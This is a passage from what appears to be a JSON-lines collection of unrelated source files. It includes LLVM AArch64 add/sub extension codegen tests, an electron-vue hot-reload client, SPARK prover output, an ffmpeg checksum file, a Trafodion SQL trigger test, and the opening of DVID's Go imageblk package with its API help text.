uxtb #3\n\n\n; Zero-extending to 64-bits\n %rhs64_zext = zext i8 %val8 to i64\n %res64_zext = add i64 %lhs64, %rhs64_zext\n store volatile i64 %res64_zext, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtb\n\n %rhs64_zext_shift = shl i64 %rhs64_zext, 1\n %res64_zext_shift = add i64 %lhs64, %rhs64_zext_shift\n store volatile i64 %res64_zext_shift, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtb #1\n\n; Sign-extending to 32-bits\n %rhs32_sext = sext i8 %val8 to i32\n %res32_sext = add i32 %lhs32, %rhs32_sext\n store volatile i32 %res32_sext, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxtb\n\n %rhs32_sext_shift = shl i32 %rhs32_sext, 1\n %res32_sext_shift = add i32 %lhs32, %rhs32_sext_shift\n store volatile i32 %res32_sext_shift, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxtb #1\n\n; Sign-extending to 64-bits\n %rhs64_sext = sext i8 %val8 to i64\n %res64_sext = add i64 %lhs64, %rhs64_sext\n store volatile i64 %res64_sext, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtb\n\n %rhs64_sext_shift = shl i64 %rhs64_sext, 4\n %res64_sext_shift = add i64 %lhs64, %rhs64_sext_shift\n store volatile i64 %res64_sext_shift, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtb #4\n\n\n; CMP variants\n %tst = icmp slt i32 %lhs32, %rhs32_zext\n br i1 %tst, label %end, label %test2\n; CHECK: cmp {{w[0-9]+}}, {{w[0-9]+}}, uxtb\n\ntest2:\n %cmp_sext = sext i8 %val8 to i64\n %tst2 = icmp eq i64 %lhs64, %cmp_sext\n br i1 %tst2, label %other, label %end\n; CHECK: cmp {{x[0-9]+}}, {{w[0-9]+}}, sxtb\n\nother:\n store volatile i32 %lhs32, i32* @var32\n ret void\n\nend:\n ret void\n}\n\ndefine void @sub_i8rhs() minsize {\n; CHECK-LABEL: sub_i8rhs:\n %val8_tmp = load i8, i8* @var8\n %lhs32 = load i32, i32* @var32\n %lhs64 = load i64, i64* @var64\n\n ; Need this to prevent extension upon load and give a vanilla i8 operand.\n %val8 = add i8 %val8_tmp, 123\n\n\n; Zero-extending to 32-bits\n %rhs32_zext = zext i8 %val8 to i32\n %res32_zext = sub i32 %lhs32, %rhs32_zext\n store volatile i32 %res32_zext, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxtb\n\n %rhs32_zext_shift = shl i32 %rhs32_zext, 3\n %res32_zext_shift = sub i32 %lhs32, %rhs32_zext_shift\n store volatile i32 %res32_zext_shift, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxtb #3\n\n\n; Zero-extending to 64-bits\n %rhs64_zext = zext i8 %val8 to i64\n %res64_zext = sub i64 %lhs64, %rhs64_zext\n store volatile i64 %res64_zext, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtb\n\n %rhs64_zext_shift = shl i64 %rhs64_zext, 1\n %res64_zext_shift = sub i64 %lhs64, %rhs64_zext_shift\n store volatile i64 %res64_zext_shift, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtb #1\n\n; Sign-extending to 32-bits\n %rhs32_sext = sext i8 %val8 to i32\n %res32_sext = sub i32 %lhs32, %rhs32_sext\n store volatile i32 %res32_sext, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxtb\n\n %rhs32_sext_shift = shl i32 %rhs32_sext, 1\n %res32_sext_shift = sub i32 %lhs32, %rhs32_sext_shift\n store volatile i32 %res32_sext_shift, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxtb #1\n\n; Sign-extending to 64-bits\n %rhs64_sext = sext i8 %val8 to i64\n %res64_sext = sub i64 %lhs64, %rhs64_sext\n store volatile i64 %res64_sext, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtb\n\n %rhs64_sext_shift = shl i64 %rhs64_sext, 4\n %res64_sext_shift = sub i64 %lhs64, %rhs64_sext_shift\n store volatile i64 %res64_sext_shift, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtb #4\n\n ret void\n}\n\ndefine void @addsub_i16rhs() minsize {\n; CHECK-LABEL: addsub_i16rhs:\n %val16_tmp = load i16, i16* @var16\n %lhs32 = load i32, i32* @var32\n %lhs64 = load i64, i64* @var64\n\n ; Need this to prevent extension upon load and give a vanilla i16 operand.\n %val16 = add i16 %val16_tmp, 123\n\n\n; Zero-extending to 32-bits\n %rhs32_zext = zext i16 %val16 to i32\n %res32_zext = add i32 %lhs32, %rhs32_zext\n store volatile i32 %res32_zext, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxth\n\n %rhs32_zext_shift = shl i32 %rhs32_zext, 3\n %res32_zext_shift = add i32 %lhs32, %rhs32_zext_shift\n store volatile i32 %res32_zext_shift, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxth #3\n\n\n; Zero-extending to 64-bits\n %rhs64_zext = zext i16 %val16 to i64\n %res64_zext = add i64 %lhs64, %rhs64_zext\n store volatile i64 %res64_zext, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxth\n\n %rhs64_zext_shift = shl i64 %rhs64_zext, 1\n %res64_zext_shift = add i64 %lhs64, %rhs64_zext_shift\n store volatile i64 %res64_zext_shift, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxth #1\n\n; Sign-extending to 32-bits\n %rhs32_sext = sext i16 %val16 to i32\n %res32_sext = add i32 %lhs32, %rhs32_sext\n store volatile i32 %res32_sext, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxth\n\n %rhs32_sext_shift = shl i32 %rhs32_sext, 1\n %res32_sext_shift = add i32 %lhs32, %rhs32_sext_shift\n store volatile i32 %res32_sext_shift, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxth #1\n\n; Sign-extending to 64-bits\n %rhs64_sext = sext i16 %val16 to i64\n %res64_sext = add i64 %lhs64, %rhs64_sext\n store volatile i64 %res64_sext, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxth\n\n %rhs64_sext_shift = shl i64 %rhs64_sext, 4\n %res64_sext_shift = add i64 %lhs64, %rhs64_sext_shift\n store volatile i64 %res64_sext_shift, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxth #4\n\n\n; CMP variants\n %tst = icmp slt i32 %lhs32, %rhs32_zext\n br i1 %tst, label %end, label %test2\n; CHECK: cmp {{w[0-9]+}}, {{w[0-9]+}}, uxth\n\ntest2:\n %cmp_sext = sext i16 %val16 to i64\n %tst2 = icmp eq i64 %lhs64, %cmp_sext\n br i1 %tst2, label %other, label %end\n; CHECK: cmp {{x[0-9]+}}, {{w[0-9]+}}, sxth\n\nother:\n store volatile i32 %lhs32, i32* @var32\n ret void\n\nend:\n ret void\n}\n\ndefine void @sub_i16rhs() minsize {\n; CHECK-LABEL: sub_i16rhs:\n %val16_tmp = load i16, i16* @var16\n %lhs32 = load i32, i32* @var32\n %lhs64 = load i64, i64* @var64\n\n ; Need this to prevent extension upon load and give a vanilla i16 operand.\n %val16 = add i16 %val16_tmp, 123\n\n\n; Zero-extending to 32-bits\n %rhs32_zext = zext i16 %val16 to i32\n %res32_zext = sub i32 %lhs32, %rhs32_zext\n store volatile i32 %res32_zext, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxth\n\n %rhs32_zext_shift = shl i32 %rhs32_zext, 3\n %res32_zext_shift = sub i32 %lhs32, %rhs32_zext_shift\n store volatile i32 %res32_zext_shift, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxth #3\n\n\n; Zero-extending to 64-bits\n %rhs64_zext = zext i16 %val16 to i64\n %res64_zext = sub i64 %lhs64, %rhs64_zext\n store volatile i64 %res64_zext, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxth\n\n %rhs64_zext_shift = shl i64 %rhs64_zext, 1\n %res64_zext_shift = sub i64 %lhs64, %rhs64_zext_shift\n store volatile i64 %res64_zext_shift, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxth #1\n\n; Sign-extending to 32-bits\n %rhs32_sext = sext i16 %val16 to i32\n %res32_sext = sub i32 %lhs32, %rhs32_sext\n store volatile i32 %res32_sext, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxth\n\n %rhs32_sext_shift = shl i32 %rhs32_sext, 1\n %res32_sext_shift = sub i32 %lhs32, %rhs32_sext_shift\n store volatile i32 %res32_sext_shift, i32* @var32\n; CHECK: sub {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, sxth #1\n\n; Sign-extending to 64-bits\n %rhs64_sext = sext i16 %val16 to i64\n %res64_sext = sub i64 %lhs64, %rhs64_sext\n store volatile i64 %res64_sext, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxth\n\n %rhs64_sext_shift = shl i64 %rhs64_sext, 4\n %res64_sext_shift = sub i64 %lhs64, %rhs64_sext_shift\n store volatile i64 %res64_sext_shift, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxth #4\n\n ret void\n}\n\n; N.b. we could probably check more here (\"add w2, w3, w1, uxtw\" for\n; example), but the remaining instructions are probably not idiomatic\n; in the face of \"add/sub (shifted register)\" so I don't intend to.\ndefine void @addsub_i32rhs(i32 %in32) minsize {\n; CHECK-LABEL: addsub_i32rhs:\n %val32_tmp = load i32, i32* @var32\n %lhs64 = load i64, i64* @var64\n\n %val32 = add i32 %val32_tmp, 123\n\n %rhs64_zext = zext i32 %in32 to i64\n %res64_zext = add i64 %lhs64, %rhs64_zext\n store volatile i64 %res64_zext, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtw\n\n %rhs64_zext2 = zext i32 %val32 to i64\n %rhs64_zext_shift = shl i64 %rhs64_zext2, 2\n %res64_zext_shift = add i64 %lhs64, %rhs64_zext_shift\n store volatile i64 %res64_zext_shift, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtw #2\n\n %rhs64_sext = sext i32 %val32 to i64\n %res64_sext = add i64 %lhs64, %rhs64_sext\n store volatile i64 %res64_sext, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtw\n\n %rhs64_sext_shift = shl i64 %rhs64_sext, 2\n %res64_sext_shift = add i64 %lhs64, %rhs64_sext_shift\n store volatile i64 %res64_sext_shift, i64* @var64\n; CHECK: add {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtw #2\n\n ret void\n}\n\ndefine void @sub_i32rhs(i32 %in32) minsize {\n; CHECK-LABEL: sub_i32rhs:\n %val32_tmp = load i32, i32* @var32\n %lhs64 = load i64, i64* @var64\n\n %val32 = add i32 %val32_tmp, 123\n\n %rhs64_zext = zext i32 %in32 to i64\n %res64_zext = sub i64 %lhs64, %rhs64_zext\n store volatile i64 %res64_zext, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtw\n\n %rhs64_zext2 = zext i32 %val32 to i64\n %rhs64_zext_shift = shl i64 %rhs64_zext2, 2\n %res64_zext_shift = sub i64 %lhs64, %rhs64_zext_shift\n store volatile i64 %res64_zext_shift, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, uxtw #2\n\n %rhs64_sext = sext i32 %val32 to i64\n %res64_sext = sub i64 %lhs64, %rhs64_sext\n store volatile i64 %res64_sext, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtw\n\n %rhs64_sext_shift = shl i64 %rhs64_sext, 2\n %res64_sext_shift = sub i64 %lhs64, %rhs64_sext_shift\n store volatile i64 %res64_sext_shift, i64* @var64\n; CHECK: sub {{x[0-9]+}}, {{x[0-9]+}}, {{w[0-9]+}}, sxtw #2\n\n ret void\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw form of add.\ndefine i64 @add_fold_uxtw(i32 %x, i64 %y) {\n; CHECK-LABEL: add_fold_uxtw:\nentry:\n; CHECK: and w[[TMP:[0-9]+]], w0, #0x3\n %m = and i32 %x, 3\n %ext = zext i32 %m to i64\n; CHECK-NEXT: add x0, x1, x[[TMP]]\n %ret = add i64 %y, %ext\n ret i64 %ret\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw\n; form of sub and that mov WZR is folded to form a neg instruction.\ndefine i64 @sub_fold_uxtw_xzr(i32 %x) {\n; CHECK-LABEL: sub_fold_uxtw_xzr:\nentry:\n; CHECK: and w[[TMP:[0-9]+]], w0, #0x3\n %m = and i32 %x, 3\n %ext = zext i32 %m to i64\n; CHECK-NEXT: neg x0, x[[TMP]]\n %ret = sub i64 0, %ext\n ret i64 %ret\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw form of subs/cmp.\ndefine i1 @cmp_fold_uxtw(i32 %x, i64 %y) {\n; CHECK-LABEL: cmp_fold_uxtw:\nentry:\n; CHECK: and w[[TMP:[0-9]+]], w0, #0x3\n %m = and i32 %x, 3\n %ext = zext i32 %m to i64\n; CHECK-NEXT: cmp x1, x[[TMP]]\n; CHECK-NEXT: cset\n %ret = icmp eq i64 %y, %ext\n ret i1 %ret\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw\n; form of add, leading to madd selection.\ndefine i64 @madd_fold_uxtw(i32 %x, i64 %y) {\n; CHECK-LABEL: madd_fold_uxtw:\nentry:\n; CHECK: and w[[TMP:[0-9]+]], w0, #0x3\n %m = and i32 %x, 3\n %ext = zext i32 %m to i64\n; CHECK-NEXT: madd x0, x1, x1, x[[TMP]]\n %mul = mul i64 %y, %y\n %ret = add i64 %mul, %ext\n ret i64 %ret\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw\n; form of sub, leading to sub/cmp folding.\n; Check that implicit zext from w reg write is used instead of uxtw form of subs/cmp.\ndefine i1 @cmp_sub_fold_uxtw(i32 %x, i64 %y, i64 %z) {\n; CHECK-LABEL: cmp_sub_fold_uxtw:\nentry:\n; CHECK: and w[[TMP:[0-9]+]], w0, #0x3\n %m = and i32 %x, 3\n %ext = zext i32 %m to i64\n; CHECK-NEXT: cmp x[[TMP2:[0-9]+]], x[[TMP]]\n; CHECK-NEXT: cset\n %sub = sub i64 %z, %ext\n %ret = icmp eq i64 %sub, 0\n ret i1 %ret\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw\n; form of add and add of -1 gets selected as sub.\ndefine i64 @add_imm_fold_uxtw(i32 %x) {\n; CHECK-LABEL: add_imm_fold_uxtw:\nentry:\n; CHECK: and w[[TMP:[0-9]+]], w0, #0x3\n %m = and i32 %x, 3\n %ext = zext i32 %m to i64\n; CHECK-NEXT: sub x0, x[[TMP]], #1\n %ret = add i64 %ext, -1\n ret i64 %ret\n}\n\n; Check that implicit zext from w reg write is used instead of uxtw\n; form of add and add lsl form gets selected.\ndefine i64 @add_lsl_fold_uxtw(i32 %x, i64 %y) {\n; CHECK-LABEL: add_lsl_fold_uxtw:\nentry:\n; CHECK: orr w[[TMP:[0-9]+]], w0, #0x3\n %m = or i32 %x, 3\n %ext = zext i32 %m to i64\n %shift = shl i64 %y, 3\n; CHECK-NEXT: add x0, x[[TMP]], x1, lsl #3\n %ret = add i64 %ext, %shift\n ret i64 %ret\n}\n"} {"text": "const hotClient = require('webpack-hot-middleware/client?noInfo=true&reload=true')\n\nhotClient.subscribe(event => {\n /**\n * Reload browser when HTMLWebpackPlugin emits a new index.html\n *\n * Currently disabled until jantimon/html-webpack-plugin#680 is resolved.\n * https://github.com/SimulatedGREG/electron-vue/issues/437\n * https://github.com/jantimon/html-webpack-plugin/issues/680\n */\n // if (event.action === 'reload') {\n // window.location.reload()\n // }\n\n /**\n * Notify `mainWindow` when `main` process is compiling,\n * giving notice for an expected reload of the `electron` process\n */\n if (event.action === 'compiling') {\n document.body.innerHTML += `\n <style>\n #dev-client {\n background: #4fc08d;\n border-radius: 4px;\n bottom: 20px;\n box-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.3);\n color: #fff;\n font-family: 'Source Sans Pro', sans-serif;\n left: 20px;\n padding: 8px 12px;\n position: absolute;\n }\n </style>\n\n <div id=\"dev-client\">\n Compiling Main Process...\n </div>\n `\n }\n})\n"} {"text": "outer.adb:4:32: info: initialization of \"Nested.State\" proved\nouter.adb:5:14: info: flow dependencies proved\nouter.adb:18:51: medium: overflow check might fail [reason for check: result of addition must fit in a 32-bits machine integer] [possible fix: subprogram at line 9 should mention Nested_Var and Nested_Var2 in a precondition]\nouter.adb:18:65: medium: overflow check might fail [reason for check: result of addition must fit in a 32-bits machine integer] [possible fix: subprogram at line 9 should mention Nested_Var and Nested_Var2 and Used in a precondition]\nouter.adb:30:10: low: initialization of \"Unused\" must be mentioned in the Initializes contract of \"Nested\" (SPARK RM 7.1.5(9))\nouter.adb:36:10: low: initialization of \"Nested_Var\" must be mentioned in the Initializes contract of \"Nested\" (SPARK RM 7.1.5(9))\nouter.adb:37:10: low: initialization of \"Nested_Var2\" must be mentioned in the Initializes contract of \"Nested\" (SPARK RM 7.1.5(9))\nouter.adb:39:51: medium: overflow check might fail [reason for check: result of addition must fit in a 32-bits machine integer] [possible fix: subprogram at line 32 should mention Nested_Var and Nested_Var2 in a precondition]\nouter.adb:39:65: medium: overflow check might fail [reason for check: result of addition must fit in a 32-bits machine integer] [possible fix: subprogram at line 32 should mention Nested_Var and Nested_Var2 and Used in a precondition]\nouter.adb:41:22: warning: unused assignment\nouter.adb:45:18: high: \"Nested_Var2\" is not initialized\nouter.adb:51:10: info: initialization of \"Unused\" proved, in instantiation at outer.adb:60\nouter.adb:57:25: info: assertion proved (CVC4: 1 VC), in instantiation at outer.adb:60\nouter.adb:69:10: info: initialization of \"Used\" proved\nouter.adb:75:10: low: initialization of \"Nested_Var\" must be mentioned in the Initializes contract of \"Nested\" (SPARK RM 7.1.5(9))\nouter.adb:76:10: low: initialization of \"Nested_Var2\" must be mentioned in the Initializes contract of \"Nested\" (SPARK RM 7.1.5(9))\nouter.adb:78:51: medium: overflow check might fail [reason for check: result of addition must fit in a 32-bits machine integer] [possible fix: subprogram at line 71 should mention Nested_Var and Nested_Var2 in a precondition]\nouter.adb:78:65: medium: overflow check might fail [reason for check: result of addition must fit in a 32-bits machine integer] [possible fix: subprogram at line 71 should mention Nested_Var and Nested_Var2 and Used in a precondition]\nouter.ads:2:17: info: initialization of \"X\" proved\nouter.ads:4:18: info: initialization of \"X\" proved\nouter.ads:6:14: warning: subprogram \"P3\" has no effect\nouter.ads:8:18: info: initialization of \"X\" proved\n"} {"text": "#format: frame checksums\n#version: 2\n#hash: MD5\n#tb 0: 1001/30000\n#media_type 0: video\n#codec_id 0: rawvideo\n#dimensions 0: 226x196\n#sar 0: 1/1\n#stream#, dts, pts, duration, size, hash\n0, 0, 0, 1, 66444, 4757a31842453f806de2f2256329547e\n0, 1, 1, 1, 66444, fe5fb955a4143091c5bfae7c4a4afe0f\n0, 2, 2, 1, 66444, 93766c5a03d71f99afb7705add7b63f0\n0, 3, 3, 1, 66444, 30c91162aa6fb0ed3e47325146bb6d8a\n0, 4, 4, 1, 66444, 501fe67785b970b1b62c2ae0b36b19ad\n0, 5, 5, 1, 66444, 836be5e778e3d20e75c4fcd71f765b3d\n0, 6, 6, 1, 66444, 21a9fd5e78212fe71719e173844bc6e6\n0, 7, 7, 1, 66444, 81b3919208e345d93dde62740b47dd93\n0, 8, 8, 1, 66444, df010555a929ba88a2f25c6267e3786e\n0, 9, 9, 1, 66444, d2cff8282e5e7a5bbd879c73df0670c3\n"} {"text": "-- @@@ START COPYRIGHT @@@\n--\n-- Licensed to the Apache Software Foundation (ASF) under one\n-- or more contributor license agreements. See the NOTICE file\n-- distributed with this work for additional information\n-- regarding copyright ownership. The ASF licenses this file\n-- to you under the Apache License, Version 2.0 (the\n-- \"License\"); you may not use this file except in compliance\n-- with the License. You may obtain a copy of the License at\n--\n-- http://www.apache.org/licenses/LICENSE-2.0\n--\n-- Unless required by applicable law or agreed to in writing,\n-- software distributed under the License is distributed on an\n-- \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n-- KIND, either express or implied. See the License for the\n-- specific language governing permissions and limitations\n-- under the License.\n--\n-- @@@ END COPYRIGHT @@@\n-- incorrect syntax\n-- setting multiple columns in a <set_new_statement>\n\n\nobey TEST_1_1_2_3(clean_up);\nobey TEST_1_1_2_3(set_up);\nlog LOG_1_1_2_3 clear;\nobey TEST_1_1_2_3(tests);\nLOG;\nobey TEST_1_1_2_3(clean_up);\nexit;\n\n?section clean_up\nset schema CAT1.SCHM;\ndrop trigger tab1a;\nobey clearTables;\n\n?section set_up\nSET SCHEMA cat1.schm;\n\n?section tests\n\n------------------------------------------------------------------\n-- \tTEST CASE\n------------------------------------------------------------------\n\nCREATE TRIGGER tab1a BEFORE UPDATE OF (a,b)\n\tON tab1A\n\tREFERENCING NEW AS newrow\n\tFOR EACH ROW\n\t\tWHEN (newrow.a > newrow.b)\n\t\tSET newrow.b = 0, newrow.c=0, newrow.b=2;\n\n---------------------------------------------\n"} {"text": "/*\n\tPackage imageblk implements DVID support for image blocks of various formats (uint8, uint16, rgba8).\n For label data, use labelblk.\n*/\npackage imageblk\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"image\"\n\t\"image/jpeg\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/janelia-flyem/dvid/datastore\"\n\t\"github.com/janelia-flyem/dvid/datatype/roi\"\n\t\"github.com/janelia-flyem/dvid/dvid\"\n\t\"github.com/janelia-flyem/dvid/server\"\n\t\"github.com/janelia-flyem/dvid/storage\"\n)\n\nconst (\n\tVersion = \"0.2\"\n\tRepoURL = \"github.com/janelia-flyem/dvid/datatype/imageblk\"\n)\n\nconst helpMessage = `\nAPI for image block datatype (github.com/janelia-flyem/dvid/datatype/imageblk)\n==============================================================================\n\nNote: UUIDs referenced below are strings that may either be a unique prefix of a\nhexadecimal UUID string (e.g., 3FA22) or a branch leaf specification that adds\na colon (\":\") followed by the case-dependent branch name. In the case of a\nbranch leaf specification, the unique UUID prefix just identifies the repo of\nthe branch, and the UUID referenced is really the leaf of the branch name.\nFor example, if we have a DAG with root A -> B -> C where C is the current\nHEAD or leaf of the \"master\" (default) branch, then asking for \"B:master\" is\nthe same as asking for \"C\". If we add another version so A -> B -> C -> D, then\nreferences to \"B:master\" now return the data from \"D\".\n\n-----\n\nDifferent data types are available:\n\n uint8blk\n rgba8blk\n\nCommand-line:\n\n$ dvid repo <UUID> new imageblk <data name> <settings...>\n\n\tAdds newly named data of the 'type name' to repo with specified UUID.\n\n\tExample (note anisotropic resolution specified instead of default 8 nm isotropic):\n\n\t$ dvid repo 3f8c new uint8blk mygrayscale BlockSize=32,32,32 Res=3.2,3.2,40.0\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n type name Data type name, e.g., \"uint8\"\n data name Name of data to create, e.g., \"mygrayscale\"\n settings Configuration settings in \"key=value\" format separated by spaces.\n\n Configuration Settings (case-insensitive keys)\n\n BlockSize Size in pixels (default: %d)\n VoxelSize Resolution of voxels (default: %f)\n VoxelUnits Resolution units (default: \"nanometers\")\n\tBackground Integer value that signifies background in any element (default: 0)\n\tGridStore Store designation that gives neuroglancer precomputed specification\n\tScaleLevel Used if GridStore set. Specifies scale level (int) of resolution.\n\n$ dvid node <UUID> <data name> load <offset> <image glob>\n\n Initializes version node to a set of XY images described by glob of filenames. The\n DVID server must have access to the named files. Currently, XY images are required.\n\n Example: \n\n $ dvid node 3f8c mygrayscale load 0,0,100 data/*.png\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n offset 3d coordinate in the format \"x,y,z\". Gives coordinate of top upper left voxel.\n image glob Filenames of images, e.g., foo-xy-*.png\n\n$ dvid node <UUID> <data name> put local <plane> <offset> <image glob>\n$ dvid node <UUID> <data name> put remote <plane> <offset> <image glob>\n\n Adds image data to a version node when the server can see the local files (\"local\")\n or when the server must be sent the files via rpc (\"remote\"). If possible, use the\n \"load\" command instead because it is much more efficient.\n\n Example: \n\n $ dvid node 3f8c mygrayscale put local xy 0,0,100 data/*.png\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n dims The axes of data extraction in form \"i,j,k,...\" Example: \"0,2\" can be XZ.\n Slice strings (\"xy\", \"xz\", or \"yz\") are also accepted.\n offset 3d coordinate in the format \"x,y,z\". Gives coordinate of top upper left voxel.\n image glob Filenames of images, e.g., foo-xy-*.png\n\t\n\n$ dvid node <UUID> <data name> roi <new roi data name> <background values separated by comma> \n\n Creates a ROI consisting of all voxel blocks that are non-background.\n\n Example:\n\n $ dvid node 3f8c mygrayscale roi grayscale_roi 0,255\n\n \n ------------------\n\nHTTP API (Level 2 REST):\n\nGET <api URL>/node/<UUID>/<data name>/help\n\n\tReturns data-specific help message.\n\n\nGET <api URL>/node/<UUID>/<data name>/info\nPOST <api URL>/node/<UUID>/<data name>/info\n\n Retrieves or puts DVID-specific data properties for these voxels.\n\n Example: \n\n GET <api URL>/node/3f8c/grayscale/info\n\n Returns JSON with configuration settings that include location in DVID space and\n min/max block indices.\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of voxels data.\n\n\nGET <api URL>/node/<UUID>/<data name>/metadata\n\n\tRetrieves a JSON schema (application/vnd.dvid-nd-data+json) that describes the layout\n\tof bytes returned for n-d images.\n\nPOST <api URL>/node/<UUID>/<data name>/extents\n \n \tSets the extents for the image volume. This is primarily used when POSTing from multiple\n\tDVID servers not sharing common metadata to a shared backend.\n \n \tExtents should be in JSON in the following format:\n \t{\n \t \"MinPoint\": [0,0,0],\n \t \"MaxPoint\": [300,400,500]\n \t}\n\nPOST <api URL>/node/<UUID>/<data name>/resolution\n \n \tSets the resolution for the image volume. \n \n \tExtents should be in JSON in the following format:\n \t[8,8,8]\n\nGET <api URL>/node/<UUID>/<data name>/rawkey?x=<block x>&y=<block y>&z=<block z>\n\n Returns JSON describing hex-encoded binary key used to store a block of data at the given block coordinate:\n\n {\n \"Key\": \"FF3801AD78BBD4829A3\"\n }\n\n The query options for block x, y, and z must be supplied or this request will return an error.\n\nGET <api URL>/node/<UUID>/<data name>/isotropic/<dims>/<size>/<offset>[/<format>][?queryopts]\n\n Retrieves either 2d images (PNG by default) or 3d binary data, depending on the dims parameter. \n\tIf the underlying data is float32, then the little-endian four byte format is written as RGBA.\n The 3d binary data response has \"Content-type\" set to \"application/octet-stream\" and is an array of \n voxel values in ZYX order (X iterates most rapidly).\n\n Example: \n\n GET <api URL>/node/3f8c/grayscale/isotropic/0_1/512_256/0_0_100/jpg:80\n\n Returns an isotropic XY slice (0th and 1st dimensions) with width (x) of 512 voxels and\n height (y) of 256 voxels with offset (0,0,100) in JPG format with quality 80.\n Additional processing is applied based on voxel resolutions to make sure the retrieved image \n has isotropic pixels. For example, if an XZ image is requested and the image volume has \n X resolution 3 nm and Z resolution 40 nm, the returned image's height will be magnified 40/3\n relative to the raw data.\n The example offset assumes the \"grayscale\" data in version node \"3f8c\" is 3d.\n The \"Content-type\" of the HTTP response should agree with the requested format.\n For example, returned PNGs will have \"Content-type\" of \"image/png\", and returned\n nD data will be \"application/octet-stream\".\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n dims The axes of data extraction in form \"i_j_k,...\" Example: \"0_2\" can be XZ.\n Slice strings (\"xy\", \"xz\", or \"yz\") are also accepted.\n size Size in voxels along each dimension specified in <dims>.\n offset Gives coordinate of first voxel using dimensionality of data.\n format Valid formats depend on the dimensionality of the request and formats\n available in server implementation.\n 2D: \"png\", \"jpg\" (default: \"png\")\n jpg allows lossy quality setting, e.g., \"jpg:80\"\n nD: uses default \"octet-stream\".\n\n Query-string Options:\n\n throttle Only works for 3d data requests. If \"true\", makes sure only N compute-intense operation \n (all API calls that can be throttled) are handled. If the server can't initiate the API \n call right away, a 503 